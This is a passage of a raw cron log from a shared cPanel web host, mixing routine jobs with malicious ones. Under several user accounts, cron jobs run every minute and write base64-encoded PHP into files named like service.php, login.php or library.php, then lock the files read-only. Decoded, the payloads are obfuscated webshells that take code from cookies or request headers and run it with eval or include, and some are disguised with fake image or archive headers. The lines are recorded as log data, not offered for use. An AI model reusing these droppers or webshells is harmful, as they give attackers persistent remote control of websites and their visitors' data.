Mar  1 17:03:01 medusa CROND[6595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:03:01 medusa CROND[6598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:03:01 medusa CROND[6600]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:03:01 medusa CROND[6599]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:03:01 medusa CROND[6602]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:03:01 medusa CROND[6607]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:03:01 medusa CROND[6606]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:03:01 medusa CROND[6619]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:04:01 medusa CROND[26561]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 17:04:01 medusa CROND[26562]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:04:01 medusa CROND[26563]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:04:01 medusa CROND[26564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:04:01 medusa CROND[26566]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:04:01 medusa CROND[26568]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:04:01 medusa CROND[26567]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:04:01 medusa CROND[26569]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:04:01 medusa CROND[26572]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:04:01 medusa CROND[26585]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:04:01 medusa CROND[26590]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:04:01 medusa CROND[26586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:04:01 medusa CROND[26584]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:05:01 medusa CROND[14652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:05:01 medusa CROND[14658]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:05:01 medusa CROND[14714]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 17:05:01 medusa CROND[14848]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:05:01 medusa CROND[14847]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14852]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:05:01 medusa CROND[14854]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:05:01 medusa CROND[14860]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14863]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:05:01 medusa CROND[14866]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:05:01 medusa CROND[14872]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:05:01 medusa CROND[14882]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:05:01 medusa CROND[14884]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo 